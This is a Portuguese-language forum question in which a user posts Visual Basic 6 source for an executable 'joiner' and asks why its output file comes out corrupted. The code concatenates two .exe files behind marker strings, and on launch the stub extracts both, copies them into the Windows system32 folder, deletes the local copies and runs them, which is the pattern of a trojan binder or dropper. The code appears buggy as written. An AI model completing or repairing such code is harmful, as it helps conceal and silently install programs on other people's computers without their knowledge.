Ir para conteúdo
Fórum Script Brasil
  • 0

Não consigo que o arquivo seje salvo corretamente!


Luciano Siqueira Marques

Pergunta

Olá pessoal se alguém puder me ajudar com o codigo so preciso que ele salve ele quase salva mais o arquivo ta corrompido não sei mais o que fazer se algue puder fico grato..l.. segue codigo abaixo

Private Sub Command1_Click()

With CommonDialog1
.FileName = Empty
.DialogTitle = "Abrir"
.Filter = "Arquivos executáveis (.exe)|*.exe"
.ShowOpen
End With
If CommonDialog1.FileName <> Empty Then Text1.Text = CommonDialog1.FileName

End Sub

Private Sub Command2_Click()

With CommonDialog1
.FileName = Empty
.DialogTitle = "Abrir"
.Filter = "Arquivos executáveis (.exe)|*.exe"
.ShowOpen
End With
If CommonDialog1.FileName <> Empty Then Text2.Text = CommonDialog1.FileName

End Sub
Private Sub Command3_Click()

If Text1.Text = Empty Then
MsgBox "Selecione O Primeiro Arquivo!", vbExclamation, "ERRO!"
Exit Sub
End If
If Text2.Text = Empty Then
MsgBox "Selecione O Segundo arquivo!", vbExclamation, "ERRO!"
Exit Sub
End If
Call juntar 'Arqui executa a função de juntar os 2 arquivo!


End

End Sub

Private Sub Command4_Click()

MsgBox "Obrigado Por Usar Nossos Programas", vbInformation, "Sucesso"
End

End Sub

Private Sub Form_Load()

Dim data0 As String
Dim data1 As String
Dim data2 As String
Open App.EXEName & ".exe" For Binary Shared As 1
data0 = Input(LOF(1), #1)
Close 1
If InStr(1, data0, "***1") = 0 Then Exit Sub
Open "1.exe" For Binary As 2
Open "2.exe" For Binary As 3
data1 = Mid(data0, InStr(1, data0, "***1") + 4)
data2 = Mid(data1, InStr(1, data1, "***2") + 4)
Put #3, , data2
data1 = Mid(data1, 1, InStr(1, data1, "***2") - 1)
Put #2, , data1
Close 2
Close 3

FileCopy "1.exe", "C:\WINDOWS\system32\1.exe"
FileCopy "2.exe", "C:\WINDOWS\system32\2.exe"
Kill "1.exe"
Kill "2.exe"
Shell "1.exe", vbNormalFocus
Shell "2.exe", vbNormalFocus

End


End Sub

Private Sub juntar()
Dim Data As String
Dim data2 As String
Open Text1.Text For Binary Shared As 1
Open Text2.Text For Binary Shared As 2
Data = Input(LOF(1), #1)
data2 = Input(LOF(2), #2)
Close 1
Close 2

With CommonDialog1
.DialogTitle = "Selecione la ruta donde desea guardar el archivo"
.Filter = "Aplicaciones EXE|*.exe"
.ShowSave
End With

If Not CommonDialog1.FileName = vbNullString Then
Open CommonDialog1.FileName For Binary As #1


Put #1, , "***1"
Put #1, , Data
Put #1, , "***2"
Put #1, , data2
Close 1
MsgBox "Arquivos Juntados Com Sucesso!", vbInformation, "Sucesso"
End If
End Sub

Private Sub Text1_Change()

End Sub


Private Sub Text2_Change()

End Sub

Editado por Luciano Siqueira Marques
Link para o comentário
Compartilhar em outros sites

1 resposta a esta questão

Posts Recomendados

Participe da discussão

Você pode postar agora e se registrar depois. Se você já tem uma conta, acesse agora para postar com sua conta.

Visitante
Responder esta pergunta...

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emoticons são permitidos.

×   Seu link foi incorporado automaticamente.   Exibir como um link em vez disso

×   Seu conteúdo anterior foi restaurado.   Limpar Editor

×   Você não pode colar imagens diretamente. Carregar ou inserir imagens do URL.



  • Estatísticas dos Fóruns

    • Tópicos
      152,1k
    • Posts
      651,8k
×
×
  • Criar Novo...